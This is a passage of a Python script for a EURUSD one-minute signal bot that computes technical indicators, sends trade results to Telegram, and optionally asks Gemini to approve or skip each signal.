    import google.generativeai as genai  
    GEMINI_API_KEY = os.getenv(&quot;GEMINI_API_KEY&quot;)  
    if GEMINI_API_KEY:  
        genai.configure(api_key=GEMINI_API_KEY)  
        GEMINI_ENABLED = True  
        print(&quot;Gemini AI &#x8FC7;&#x6EE4;&#x5668;&#x5DF2;&#x542F;&#x7528;&#x3002;&quot;)  
    else:  
        GEMINI_ENABLED = False  
        print(&quot;GEMINI_API_KEY &#x672A;&#x8BBE;&#x7F6E;&#x3002;Gemini AI &#x8FC7;&#x6EE4;&#x5668;&#x5DF2;&#x7981;&#x7528;&#x3002;&quot;)  
except ImportError:  
    GEMINI_ENABLED = False  
    print(&quot;google-generativeai &#x672A;&#x5B89;&#x88C5;&#x3002;Gemini AI &#x8FC7;&#x6EE4;&#x5668;&#x5DF2;&#x7981;&#x7528;&#x3002;&quot;)  

# ========== &#x914D;&#x7F6E; ==========  
PAIR = &quot;EURUSD=X&quot;            # &#x5728; Yahoo Finance &#x4E0A;&#x7684; EURUSD  
INTERVAL = &quot;1m&quot;              # 1 &#x5206;&#x949F;&#x8721;&#x70DB;  

EMA_FAST = 9  
EMA_SLOW = 21  

RSI_PERIOD = 14  
MACD_FAST = 12  
MACD_SLOW = 26  
MACD_SIGNAL = 9  

BB_PERIOD = 20  
BB_STD = 2  

CHECK_EVERY_SECONDS = 60     # &#x6BCF;&#x5206;&#x949F;&#x68C0;&#x67E5;&#x4E00;&#x6B21;  

EXIT_CANDLES = 5             # &#x5230;&#x671F;&#x9700;&#x8981;&#x591A;&#x5C11;&#x4E2A; 1m &#x8721;&#x70DB; (5 &#x5206;&#x949F;)  
ONE_SIGNAL_PER_HOUR = True   # &#x5982;&#x679C;&#x4E3A; True&#xFF0C;&#x5219;&#x53EA;&#x5728;&#x6BCF;&#x5C0F;&#x65F6;&#x5F00;&#x59CB;&#x65F6;&#x5141;&#x8BB8;&#x4FE1;&#x53F7;  

# ======== Telegram &#x8BBE;&#x7F6E; ========  
TELEGRAM_BOT_TOKEN = &quot;yours&quot;  
TELEGRAM_CHAT_ID = &quot;yourchatid&quot;  
# =============================  

dubai_tz = pytz.timezone(&quot;Asia/Dubai&quot;)  

# &#x5168;&#x5C40;&#x72B6;&#x6001;  
last_candle_time = None  
open_trades = []  # &#x5B57;&#x5178;&#x5217;&#x8868;: {entry_time, entry_price, direction, dubai_time_open}  

# &#x6BCF;&#x65E5;&#x7EDF;&#x8BA1;  
stats_date = None      # &#x7C7B;&#x578B;: date  
wins_today = 0  
losses_today = 0  

# ========== Telegram &#x8F85;&#x52A9;&#x7A0B;&#x5E8F; ==========  
def send_telegram_message(text: str):  
    &quot;&quot;&quot;  
    &#x5411;&#x60A8;&#x7684; Telegram &#x804A;&#x5929;&#x53D1;&#x9001;&#x7EAF;&#x6587;&#x672C;&#x6D88;&#x606F;&#x3002;  
    &quot;&quot;&quot;  
    url = f&quot;https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage&quot;  
    payload = {  
        &quot;chat_id&quot;: TELEGRAM_CHAT_ID,  
        &quot;text&quot;: text  
    }  
    try:  
        r = requests.post(url, json=payload, timeout=10)  
        print(&quot;Telegram &#x72B6;&#x6001;:&quot;, r.status_code, &quot;-&quot;, r.text)  
        if r.status_code != 200:  
            print(&quot;&#x53D1;&#x9001; Telegram &#x6D88;&#x606F;&#x51FA;&#x9519;:&quot;, r.text)  
    except Exception as e:  
        print(&quot;Telegram &#x53D1;&#x9001;&#x9519;&#x8BEF;:&quot;, e)  

# ========== &#x6570;&#x636E;&#x83B7;&#x53D6; ==========  
def fetch_data() -&gt; pd.DataFrame:  
    &quot;&quot;&quot;  
    &#x4ECE; Yahoo Finance &#x83B7;&#x53D6;&#x6700;&#x8FD1;&#x7684; EURUSD &#x8721;&#x70DB;&#x3002;  
    &#x6807;&#x51C6;&#x5316;&#x5217;&#x4EE5;&#x786E;&#x4FDD;&#x59CB;&#x7EC8;&#x6709;&#x4E00;&#x4E2A;&#x53EF;&#x7528;&#x7684; &apos;Close&apos; &#x5217;&#x3002;  
    &quot;&quot;&quot;  
    try:  
        df = yf.download(  
            PAIR,  
            period=&quot;2d&quot;,  
            interval=INTERVAL,  
            auto_adjust=False,  
            progress=False  
        )  
    except Exception as e:  
        print(&quot;&#x4ECE; Yahoo Finance &#x83B7;&#x53D6;&#x6570;&#x636E;&#x51FA;&#x9519;:&quot;, e)  
        return pd.DataFrame()  

    if df is None:  
        print(&quot;Yahoo Finance &#x8FD4;&#x56DE; None&quot;)  
        return pd.DataFrame()  

    if isinstance(df, pd.Series):  
        df = df.to_frame(&quot;Close&quot;)  

    if not isinstance(df, pd.DataFrame):  
        print(&quot;&#x4ECE; yfinance &#x5F97;&#x5230;&#x610F;&#x5916;&#x7684;&#x6570;&#x636E;&#x7C7B;&#x578B;:&quot;, type(df))  
        return pd.DataFrame()  

    if df.empty:  
        print(&quot;Yahoo Finance &#x8FD4;&#x56DE;&#x7A7A; DataFrame&quot;)  
        return pd.DataFrame()  

    # &#x5982;&#x679C;&#x5217;&#x662F; MultiIndex&#xFF0C;&#x9009;&#x62E9;&#x4E00;&#x4E2A; Close &#x5217;  
    if isinstance(df.columns, pd.MultiIndex):  
        if (&quot;Close&quot;, PAIR) in df.columns:  
            df = df.copy()  
            df[&quot;Close&quot;] = df[(&quot;Close&quot;, PAIR)]  
        else:  
            close_cols = [c for c in df.columns if c[0] == &quot;Close&quot;]  
            if close_cols:  
                df = df.copy()  
                df[&quot;Close&quot;] = df[close_cols[0]]  
            else:  
                print(&quot;&#x65E0;&#x6CD5;&#x5728; MultiIndex &#x6570;&#x636E;&#x4E2D;&#x627E;&#x5230; Close &#x5217;&quot;)  
                return pd.DataFrame()  
    else:  
        if &quot;Close&quot; not in df.columns:  
            print(&quot;&#x6570;&#x636E;&#x4E2D;&#x6CA1;&#x6709; Close &#x5217;&quot;)  
            return pd.DataFrame()  

    df = df.dropna()  
    return df  

# ========== &#x6307;&#x6807; ==========  
def compute_rsi(close: pd.Series, period: int) -&gt; pd.Series:  
    delta = close.diff()  
    gain = delta.clip(lower=0)  
    loss = -delta.clip(upper=0)  

    avg_gain = gain.ewm(alpha=1 / period, adjust=False).mean()  
    avg_loss = loss.ewm(alpha=1 / period, adjust=False).mean()  

    rs = avg_gain / (avg_loss + 1e-10)  
    rsi = 100 - (100 / (1 + rs))  
    return rsi  

def compute_macd(close: pd.Series, fast: int, slow: int, signal: int):  
    ema_fast = close.ewm(span=fast, adjust=False).mean()  
    ema_slow = close.ewm(span=slow, adjust=False).mean()  
    macd = ema_fast - ema_slow  
    signal_line = macd.ewm(span=signal, adjust=False).mean()  
    hist = macd - signal_line  
    return macd, signal_line, hist  

def compute_bollinger(close: pd.Series, period: int, std_mult: float):  
    ma = close.rolling(period).mean()  
    std = close.rolling(period).std()  
    upper = ma + std_mult * std  
    lower = ma - std_mult * std  
    return ma, upper, lower  

def add_indicators(df: pd.DataFrame) -&gt; pd.DataFrame:  
    &quot;&quot;&quot;  
    &#x5728; DataFrame &#x4E2D;&#x6DFB;&#x52A0; EMA 9&#x3001;EMA 21&#x3001;RSI&#x3001;MACD&#x3001;&#x5E03;&#x6797;&#x5E26;&#x3002;  
    &quot;&quot;&quot;  
    if df is None or df.empty:  
        return pd.DataFrame()  

    df = df.copy()  

    close_raw = df[&quot;Close&quot;]  

    # &#x5982;&#x679C; Close &#x662F; DataFrame (&#x7F55;&#x89C1;&#x60C5;&#x51B5;)&#xFF0C;&#x53D6;&#x7B2C;&#x4E00;&#x5217;  
    if isinstance(close_raw, pd.DataFrame):  
        close_col = close_raw.iloc[:, 0]  
    else:  
        close_col = close_raw  

    close = pd.to_numeric(close_col, errors=&quot;coerce&quot;)  
    close = pd.Series(close, index=df.index)  

    # EMAs  
    ema_fast = close.ewm(span=EMA_FAST, adjust=False).mean()  
    ema_slow = close.ewm(span=EMA_SLOW, adjust=False).mean()  
    df[&quot;ema_fast&quot;] = ema_fast  
    df[&quot;ema_slow&quot;] = ema_slow  

    # RSI  
    df[&quot;rsi&quot;] = compute_rsi(close, RSI_PERIOD)  

    # MACD  
    macd, macd_signal, macd_hist = compute_macd(close, MACD_FAST, MACD_SLOW, MACD_SIGNAL)  
    df[&quot;macd&quot;] = macd  
    df[&quot;macd_signal&quot;] = macd_signal  
    df[&quot;macd_hist&quot;] = macd_hist  

    # &#x5E03;&#x6797;&#x5E26;  
    bb_ma, bb_upper, bb_lower = compute_bollinger(close, BB_PERIOD, BB_STD)  
    df[&quot;bb_ma&quot;] = bb_ma  
    df[&quot;bb_upper&quot;] = bb_upper  
    df[&quot;bb_lower&quot;] = bb_lower  

    # &#x5220;&#x9664;&#x5177;&#x6709;&#x4EFB;&#x4F55; NaN &#x7684;&#x884C;  
    df = df.dropna()  
    return df  

# ========== &#x6BCF;&#x65E5;&#x7EDF;&#x8BA1; ==========  
def check_and_reset_daily_stats():  
    &quot;&quot;&quot;  
    &#x5982;&#x679C;&#x8FEA;&#x62DC;&#x65E5;&#x671F;&#x6539;&#x53D8;&#xFF0C;&#x53D1;&#x9001;&#x524D;&#x4E00;&#x5929;&#x7684;&#x6458;&#x8981;&#x5E76;&#x91CD;&#x7F6E;&#x8BA1;&#x6570;&#x5668;&#x3002;  
    &quot;&quot;&quot;  
    global stats_date, wins_today, losses_today  

    now_dubai = datetime.now(dubai_tz)  
    today = now_dubai.date()  

    if stats_date is None:  
        # &#x7B2C;&#x4E00;&#x6B21;&#x521D;&#x59CB;&#x5316;  
        stats_date = today  
        wins_today = 0  
        losses_today = 0  
        return  

    if today != stats_date:  
        # &#x65B0;&#x7684;&#x4E00;&#x5929;&#x5F00;&#x59CB;&#xFF0C;&#x53D1;&#x9001;&#x524D;&#x4E00;&#x5929;&#x7684;&#x6458;&#x8981;  
        summary = (  
            f&quot;&#x1F4CA; &#x524D;&#x4E00;&#x5929;&#x7684;&#x6BCF;&#x65E5;&#x6458;&#x8981; {stats_date.isoformat()} (&#x8FEA;&#x62DC;&#x65F6;&#x95F4;)\n&quot;  
            f&quot;&#x80DC;&#x5229;: {wins_today}\n&quot;  
            f&quot;&#x5931;&#x8D25;: {losses_today}&quot;  
        )  
        print(summary)  
        send_telegram_message(summary)  

        # &#x91CD;&#x7F6E;&#x65B0;&#x4E00;&#x5929;  
        stats_date = today  
        wins_today = 0  
        losses_today = 0  

# ========== &#x65F6;&#x95F4;&#x8FC7;&#x6EE4;&#x5668; ==========  
def is_good_trading_time(now_dubai: datetime) -&gt; bool:  
    &quot;&quot;&quot;  
    &#x4EC5;&#x5728;&#x4E3B;&#x8981;&#x5916;&#x6C47;&#x65F6;&#x95F4;&#x4EA4;&#x6613;:  
    &#x5468;&#x4E00;&#x81F3;&#x5468;&#x4E94;&#xFF0C;&#x8FEA;&#x62DC;&#x65F6;&#x95F4; 11:00 &#x81F3; 22:00&#x3002;  
    &quot;&quot;&quot;  
    weekday = now_dubai.weekday()  # 0 = &#x661F;&#x671F;&#x4E00;&#xFF0C;6 = &#x661F;&#x671F;&#x65E5;  
    if weekday &gt;= 5:  
        return False  
    hour = now_dubai.hour  
    return 11 &lt;= hour &lt; 22  

# ========== &#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF; ==========  
def get_5m_trend(df: pd.DataFrame) -&gt; str:  
    &quot;&quot;&quot;  
    &#x4F7F;&#x7528;&#x91CD;&#x65B0;&#x91C7;&#x6837;&#x7684;&#x4E94;&#x5206;&#x949F;&#x8721;&#x70DB;&#x4E0A;&#x7684; EMA &#x786E;&#x5B9A;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x3002;  
    &#x8FD4;&#x56DE; &quot;UP&quot;&#x3001;&quot;DOWN&quot; &#x6216; None&#x3002;  
    &quot;&quot;&quot;  
    if df is None or df.empty:  
        return None  

    # &#x4F7F;&#x7528; Close &#x8FDB;&#x884C;&#x4E94;&#x5206;&#x949F;&#x91CD;&#x65B0;&#x91C7;&#x6837;  
    close_1m = df[&quot;Close&quot;]  
    if isinstance(close_1m, pd.DataFrame):  
        close_1m = close_1m.iloc[:, 0]  
    close_1m = pd.to_numeric(close_1m, errors=&quot;coerce&quot;)  

    df_5m = close_1m.resample(&quot;5T&quot;).last().dropna()  
    if len(df_5m) &lt; 30:  
        return None  

    ema_5m = df_5m.ewm(span=20, adjust=False).mean()  
    last_close = df_5m.iloc[-1]  
    last_ema = ema_5m.iloc[-1]  

    if last_close &gt; last_ema:  
        return &quot;UP&quot;  
    elif last_close &lt; last_ema:  
        return &quot;DOWN&quot;  
    else:  
        return None  

# ========== &#x4EA4;&#x6613;&#x8BC4;&#x4F30; ==========  
def evaluate_open_trades(df: pd.DataFrame):  
    &quot;&quot;&quot;  
    &#x68C0;&#x67E5;&#x662F;&#x5426;&#x6709;&#x4EFB;&#x4F55;&#x5F00;&#x653E;&#x4EA4;&#x6613;&#x5DF2;&#x5B8C;&#x6210; EXIT_CANDLES &#x8721;&#x70DB;&#xFF0C;  
    &#x7136;&#x540E;&#x53D1;&#x9001; WIN &#x6216; LOSS &#x7ED3;&#x679C;&#x5E76;&#x66F4;&#x65B0;&#x6BCF;&#x65E5;&#x7EDF;&#x8BA1;&#x3002;  
    &quot;&quot;&quot;  
    global open_trades, wins_today, losses_today  

    if df is None or df.empty:  
        return  

    if len(open_trades) == 0:  
        return  

    index_list = list(df.index)  
    trades_to_remove = []  

    for trade in open_trades:  
        entry_time = trade[&quot;entry_time&quot;]  
        direction = trade[&quot;direction&quot;]  
        entry_price = float(trade[&quot;entry_price&quot;])  

        if entry_time not in df.index:  
            continue  

        try:  
            entry_idx = index_list.index(entry_time)  
        except ValueError:  
            continue  

        exit_idx = entry_idx + EXIT_CANDLES  # &#x5728; 1 &#x5206;&#x949F;&#x56FE;&#x8868;&#x4E0A;&#x5230;&#x671F;  

        if exit_idx &gt;= len(df):  
            continue  

        exit_candle = df.iloc[exit_idx]  
        exit_price = float(exit_candle[&quot;Close&quot;])  

        # &#x51B3;&#x5B9A;&#x8D62;&#x6216;&#x8F93;  
        if direction == &quot;CALL&quot;:  
            result = &quot;WIN&quot; if exit_price &gt; entry_price else &quot;LOSS&quot;  
        else:  # PUT  
            result = &quot;WIN&quot; if exit_price &lt; entry_price else &quot;LOSS&quot;  

        dubai_time_open = trade[&quot;dubai_time_open&quot;]  
        dubai_time_close = dubai_time_open + timedelta(minutes=EXIT_CANDLES)  

        msg = (  
            f&quot;&#x5173;&#x4E8E; {direction} EURUSD &#x4EA4;&#x6613;&#x7684;&#x7ED3;&#x679C;\n&quot;  
            f&quot;&#x5165;&#x573A;&#x4EF7;&#x683C;: {entry_price:.5f} &#x5728; {dubai_time_open.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)} &#x8FEA;&#x62DC;&#x65F6;&#x95F4;\n&quot;  
            f&quot;&#x5728; {EXIT_CANDLES} &#x5206;&#x949F;&#x540E;&#x9000;&#x51FA;: {exit_price:.5f} &#x5728; {dubai_time_close.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)} &#x8FEA;&#x62DC;&#x65F6;&#x95F4;\n&quot;  
            f&quot;&#x7ED3;&#x679C;: {result}&quot;  
        )  
        print(msg)  
        send_telegram_message(msg)  

        # &#x66F4;&#x65B0;&#x7EDF;&#x8BA1;  
        if result == &quot;WIN&quot;:  
            wins_today += 1  
        else:  
            losses_today += 1  

        trades_to_remove.append(trade)  

    for t in trades_to_remove:  
        if t in open_trades:  
            open_trades.remove(t)  

# ========== Gemini AI &#x8FC7;&#x6EE4;&#x5668;&#x8F85;&#x52A9;&#x7A0B;&#x5E8F; ==========  

def build_ai_snapshot(df: pd.DataFrame,  
                      direction: str,  
                      trend_5m: str,  
                      rsi_now: float,  
                      macd_hist_now: float,  
                      price_now: float,  
                      bb_upper_now: float,  
                      bb_lower_now: float,  
                      body_size: float,  
                      avg_body: float,  
                      now_dubai: datetime) -&gt; dict:  
    &quot;&quot;&quot;  
    &#x4E3A; AI &#x8FC7;&#x6EE4;&#x5668;&#x6784;&#x5EFA;&#x6700;&#x8FD1;&#x5E02;&#x573A;&#x72B6;&#x51B5;&#x7684;&#x7D27;&#x51D1;&#x5FEB;&#x7167;&#x3002;  
    &#x6211;&#x4EEC;&#x4FDD;&#x6301;&#x5B83;&#x5C0F;&#x5DE7;&#xFF0C;&#x4EE5;&#x4FBF;&#x63D0;&#x793A;&#x8F7B;&#x91CF;&#x3002;  
    &quot;&quot;&quot;  
    recent = df.tail(50).copy()  

    # &#x9650;&#x5236;&#x4E3A;&#x6D6E;&#x70B9;&#x6570;&#xFF0C;&#x4FDD;&#x7559;&#x5408;&#x7406;&#x7684;&#x7CBE;&#x5EA6;&#x4EE5;&#x907F;&#x514D;&#x5DE8;&#x5927;&#x7684;&#x5B57;&#x7B26;&#x4E32;  
    closes = [float(x) for x in recent[&quot;Close&quot;].round(5).tolist()]  
    rsis = [float(x) for x in recent[&quot;rsi&quot;].round(2).tolist()]  
    macd_hists = [float(x) for x in recent[&quot;macd_hist&quot;].round(6).tolist()]  

    snapshot = {  
        &quot;direction&quot;: direction,  
        &quot;trend_5m&quot;: trend_5m,  
        &quot;price_now&quot;: float(price_now),  
        &quot;rsi_now&quot;: float(rsi_now),  
        &quot;macd_hist_now&quot;: float(macd_hist_now),  
        &quot;bb_upper_now&quot;: float(bb_upper_now),  
        &quot;bb_lower_now&quot;: float(bb_lower_now),  
        &quot;body_size&quot;: float(body_size),  
        &quot;avg_body&quot;: float(avg_body),  
        &quot;recent_closes&quot;: closes,  
        &quot;recent_rsi&quot;: rsis,  
        &quot;recent_macd_hist&quot;: macd_hists,  
        &quot;time_dubai&quot;: now_dubai.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;),  
    }  
    return snapshot  

def ask_gemini_should_trade(snapshot: dict) -&gt; tuple[str, str]:  
    &quot;&quot;&quot;  
    &#x8BE2;&#x95EE; Gemini &#x662F;&#x5426;&#x5E94; APPROVE &#x6216; SKIP &#x6B64;&#x4FE1;&#x53F7;&#x3002;  

    &#x8FD4;&#x56DE;:  
        (decision, explanation)  
        - decision: &quot;APPROVE&quot; &#x6216; &quot;SKIP&quot;  
        - explanation: &#x7B80;&#x77ED;&#x7684;&#x4EBA;&#x7C7B;&#x53EF;&#x8BFB;&#x539F;&#x56E0;  

    &#x5982;&#x679C; Gemini &#x88AB;&#x7981;&#x7528;&#x6216;&#x51FA;&#x9519;&#xFF0C;&#x6211;&#x4EEC;&#x9ED8;&#x8BA4;&#x8FD4;&#x56DE; APPROVE&#xFF0C;&#x8FD9;&#x6837;&#x673A;&#x5668;&#x4EBA;&#x50CF;&#x4EE5;&#x524D;&#x4E00;&#x6837;&#x8FD0;&#x884C;&#x3002;  
    &#x8FD9;&#x4EC5;&#x7528;&#x4E8E;&#x6559;&#x80B2;/&#x6F14;&#x793A;&#x7528;&#x9014;&#xFF0C;&#x4E0D;&#x662F;&#x8D22;&#x52A1;&#x5EFA;&#x8BAE;&#x3002;  
    &quot;&quot;&quot;  
    if not GEMINI_ENABLED:  
        return &quot;APPROVE&quot;, &quot;Gemini &#x8FC7;&#x6EE4;&#x5668;&#x5DF2;&#x7981;&#x7528;&#x3002;&quot;  

    prompt = f&quot;&quot;&quot;  
&#x4F60;&#x662F;&#x4E00;&#x4E2A;&#x6559;&#x80B2;&#x4EA4;&#x6613;&#x52A9;&#x624B;&#xFF0C;&#x5E2E;&#x52A9;&#x8FC7;&#x6EE4;&#x6765;&#x81EA;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684; EURUSD &#x673A;&#x5668;&#x4EBA;&#x7684;&#x4FE1;&#x53F7;&#x3002;  
&#x4F60;**&#x4E0D;&#x5141;&#x8BB8;**&#x63D0;&#x4F9B;&#x8D22;&#x52A1;&#x5EFA;&#x8BAE;&#x3001;&#x5229;&#x6DA6;&#x4FDD;&#x8BC1;&#x6216;&#x4ED3;&#x4F4D;&#x89C4;&#x6A21;&#x6307;&#x5BFC;&#x3002;  
&#x4F60;&#x53EA;&#x51B3;&#x5B9A;&#x8FD9;&#x4E2A;&#x4FE1;&#x53F7;&#x770B;&#x8D77;&#x6765;&#x662F;&#x5426;&#x8DB3;&#x591F;&#x5E72;&#x51C0;&#x53EF;&#x4EE5;&#x8003;&#x8651;&#xFF0C;&#x6216;&#x8005;&#x5E94;&#x8BE5;&#x88AB;&#x8DF3;&#x8FC7;&#x3002;  

&#x6570;&#x636E;&#xFF08;&#x6700;&#x8FD1;&#x7684; EURUSD &#x6761;&#x4EF6;&#xFF09;&#xFF1A;  

&#x65B9;&#x5411;: {snapshot[&apos;direction&apos;]}  # CALL &#x8868;&#x793A;&#x4E70;&#x5165;&#xFF0C;PUT &#x8868;&#x793A;&#x5356;&#x51FA;  
&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x65B9;&#x5411;&#xFF08;&#x6765;&#x81EA; EMA&#xFF09;: {snapshot[&apos;trend_5m&apos;]}  
&#x5F53;&#x524D;&#x4EF7;&#x683C;: {snapshot[&apos;price_now&apos;]}  
&#x5F53;&#x524D; RSI (1m): {snapshot[&apos;rsi_now&apos;]}  
&#x5F53;&#x524D; MACD &#x76F4;&#x65B9;&#x56FE; (1m): {snapshot[&apos;macd_hist_now&apos;]}  
&#x5F53;&#x524D;&#x5E03;&#x6797;&#x5E26;&#x4E0A;&#x9650;: {snapshot[&apos;bb_upper_now&apos;]}  
&#x5F53;&#x524D;&#x5E03;&#x6797;&#x5E26;&#x4E0B;&#x9650;: {snapshot[&apos;bb_lower_now&apos;]}  
&#x5F53;&#x524D;&#x8721;&#x70DB;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;: {snapshot[&apos;body_size&apos;]}  (&#x6700;&#x8FD1; 20 &#x4E2A;&#x5B9E;&#x4F53;&#x7684;&#x5E73;&#x5747;&#x503C;: {snapshot[&apos;avg_body&apos;]})  
&#x672C;&#x5730;&#x65F6;&#x95F4; (&#x8FEA;&#x62DC;): {snapshot[&apos;time_dubai&apos;]}  

&#x6700;&#x8FD1;&#x7684;&#x6536;&#x76D8;&#x4EF7; (1m&#xFF0C;&#x6700;&#x8FD1;&#x7684;&#x6700;&#x540E;&#xFF0C;&#x6700;&#x591A; 50 &#x4E2A;&#x503C;):  
{snapshot[&apos;recent_closes&apos;]}  

&#x6700;&#x8FD1;&#x7684; RSI &#x503C; (1m):  
{snapshot[&apos;recent_rsi&apos;]}  

&#x6700;&#x8FD1;&#x7684; MACD &#x76F4;&#x65B9;&#x56FE;&#x503C; (1m):  
{snapshot[&apos;recent_macd_hist&apos;]}  

&#x4F60;&#x7684;&#x4EFB;&#x52A1;:  
1. &#x51B3;&#x5B9A;&#x8FD9;&#x4E2A;&#x4FE1;&#x53F7;&#x770B;&#x8D77;&#x6765;&#x662F;&#x5426;&#x5904;&#x4E8E;&#x76F8;&#x5BF9;&#x5E72;&#x51C0;&#x3001;&#x65B9;&#x5411;&#x660E;&#x786E;&#x7684;&#x73AF;&#x5883;&#xFF0C;&#x8FD8;&#x662F;&#x6DF7;&#x4E71;&#x3001;&#x4E0D;&#x7A33;&#x5B9A;&#x6216;&#x8303;&#x56F4;&#x5185;&#x7684;&#x73AF;&#x5883;&#x3002;  
2. &#x4FDD;&#x6301;&#x4FDD;&#x5B88;&#x3002;&#x5982;&#x679C;&#x4F60;&#x4E0D;&#x786E;&#x5B9A;&#xFF0C;&#x4F18;&#x5148;&#x8DF3;&#x8FC7;&#x3002;  
3. &#x8F93;&#x51FA;&#x6B63;&#x597D;&#x4E24;&#x884C;:  
   - &#x7B2C;&#x4E00;&#x884C;: &#x65E0;&#x8BBA;&#x662F; APPROVE &#x8FD8;&#x662F; SKIP (&#x5927;&#x5199;)&#x3002;  
   - &#x7B2C;&#x4E8C;&#x884C;: &#x4E00;&#x4E2A;&#x7B80;&#x77ED;&#x7684;&#x53E5;&#x5B50;&#x89E3;&#x91CA;&#x4F60;&#x7684;&#x51B3;&#x5B9A;&#xFF0C;&#x4ECE;&#x6559;&#x80B2;&#x7684;&#x89D2;&#x5EA6;&#x3002;  

&#x8BB0;&#x4F4F;:  
- &#x4E0D;&#x8981;&#x63D0;&#x53CA;&#x771F;&#x5B9E;&#x8D44;&#x91D1;&#x3002;  
- &#x4E0D;&#x8981;&#x544A;&#x8BC9;&#x7528;&#x6237;&#x8FDB;&#x884C;&#x4EA4;&#x6613;&#x3001;&#x8C03;&#x6574;&#x4ED3;&#x4F4D;&#x6216;&#x627F;&#x8BFA;&#x597D;&#x7684;&#x7ED3;&#x679C;&#x3002;  
- &#x4F60;&#x7684;&#x7B54;&#x6848;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x6559;&#x80B2;&#x8FC7;&#x6EE4;&#x5668;&#xFF0C;&#x53E0;&#x52A0;&#x5728;&#x73B0;&#x6709;&#x7684;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x673A;&#x5668;&#x4EBA;&#x4E4B;&#x4E0A;&#x3002;  
&quot;&quot;&quot;  

    try:  
        model = genai.GenerativeModel(&quot;gemini-1.5-flash&quot;)  
        response = model.generate_content(prompt)  
        text = (response.text or &quot;&quot;).strip()  
        if not text:  
            return &quot;APPROVE&quot;, &quot;AI &#x8FD4;&#x56DE;&#x7A7A;&#x54CD;&#x5E94;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; APPROVE&#x3002;&quot;  

        lines = [line.strip() for line in text.splitlines() if line.strip()]  
        decision = lines[0].upper() if lines else &quot;APPROVE&quot;  
        if decision not in (&quot;APPROVE&quot;, &quot;SKIP&quot;):  
            decision = &quot;APPROVE&quot;  
        explanation = lines[1] if len(lines) &gt; 1 else &quot;AI &#x6CA1;&#x6709;&#x89E3;&#x91CA;&#x3002;&quot;  
        return decision, explanation  
    except Exception as e:  
        print(&quot;Gemini &#x5728; ask_gemini_should_trade &#x4E2D;&#x51FA;&#x9519;:&quot;, repr(e))  
        return &quot;APPROVE&quot;, &quot;AI &#x8FC7;&#x6EE4;&#x5668;&#x51FA;&#x9519;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; APPROVE&#x3002;&quot;  

# ========== &#x4FE1;&#x53F7;&#x903B;&#x8F91; ==========  
def format_dubai_time_short(dt: datetime) -&gt; str:  
    &quot;&quot;&quot;  
    &#x683C;&#x5F0F;&#x5316;&#x65F6;&#x95F4;&#x5982; 2:55pm (&#x6CA1;&#x6709;&#x524D;&#x5BFC;&#x96F6;&#xFF0C;&#x5C0F;&#x5199; am/pm)&#x3002;  
    &quot;&quot;&quot;  
    return dt.strftime(&quot;%I:%M%p&quot;).lstrip(&quot;0&quot;).lower()  

def check_for_signal():  
    &quot;&quot;&quot;  
    &#x6BCF;&#x6839;&#x8721;&#x70DB;&#x7684;&#x903B;&#x8F91;:  
    - &#x68C0;&#x67E5;&#x6BCF;&#x65E5;&#x91CD;&#x7F6E;  
    - &#x83B7;&#x53D6;&#x6570;&#x636E;  
    - &#x6DFB;&#x52A0;&#x6307;&#x6807;  
    - &#x8BC4;&#x4F30;&#x73B0;&#x6709;&#x4EA4;&#x6613;  
    - &#x68C0;&#x67E5;&#x65B0;&#x591A;&#x8FC7;&#x6EE4;&#x5668;&#x4FE1;&#x53F7; (CALL/PUT)  
    - &#x53EF;&#x9009;: &#x8BE2;&#x95EE; Gemini AI &#x662F;&#x5426;&#x5E94; APPROVE &#x6216; SKIP  
    - &#x6BCF;&#x5C0F;&#x65F6;&#x6A21;&#x5F0F;: &#x5982;&#x679C; ONE_SIGNAL_PER_HOUR &#x4E3A; True&#xFF0C;&#x5219;&#x53EA;&#x5728;&#x6BCF;&#x5C0F;&#x65F6;&#x5F00;&#x59CB;&#x65F6;&#x89E6;&#x53D1;&#x4FE1;&#x53F7;  
    &quot;&quot;&quot;  
    global last_candle_time, open_trades  

    # 1) &#x6BCF;&#x65E5;&#x6458;&#x8981;&#x68C0;&#x67E5;  
    check_and_reset_daily_stats()  

    now_dubai = datetime.now(dubai_tz)  

    # &#x4EC5;&#x5728;&#x6BCF;&#x5C0F;&#x65F6;&#x5F00;&#x59CB;&#x65F6;&#x5141;&#x8BB8;&#x4FE1;&#x53F7;&#xFF0C;&#x5982;&#x679C;&#x542F;&#x7528;  
    if ONE_SIGNAL_PER_HOUR:  
        if now_dubai.minute != 0:  
            print(f&quot;{now_dubai} - &#x4E0D;&#x662F;&#x6BCF;&#x5C0F;&#x65F6;&#x5F00;&#x59CB;&#xFF0C;&#x8DF3;&#x8FC7;&#x4FE1;&#x53F7;&#x68C0;&#x67E5;&#x3002;&quot;)  
            return  

    # 2) &#x83B7;&#x53D6;&#x6570;&#x636E;  
    df = fetch_data()  
    if df is None or df.empty:  
        print(f&quot;{now_dubai} - &#x4ECE; Yahoo Finance &#x672A;&#x6536;&#x5230;&#x6570;&#x636E;&quot;)  
        return  

    # 3) &#x6307;&#x6807;  
    df = add_indicators(df)  
    if df is None or df.empty:  
        print(f&quot;{now_dubai} - &#x6307;&#x6807;&#x540E;&#x6570;&#x636E;&#x4E0D;&#x8DB3;&quot;)  
        return  

    # 4) &#x8BC4;&#x4F30;&#x4E4B;&#x524D;&#x7684;&#x5F00;&#x653E;&#x4EA4;&#x6613;  
    evaluate_open_trades(df)  

    # 5) &#x9700;&#x8981;&#x81F3;&#x5C11; 3 &#x6839;&#x8721;&#x70DB;  
    if len(df) &lt; 3:  
        print(f&quot;{now_dubai} - &#x4FE1;&#x53F7;&#x68C0;&#x67E5;&#x8721;&#x70DB;&#x4E0D;&#x8DB3;&quot;)  
        return  

    latest = df.iloc[-1]  
    prev = df.iloc[-2]  

    candle_time = latest.name  
    price_now = float(latest[&quot;Close&quot;])  

    ema_fast_now = float(latest[&quot;ema_fast&quot;])  
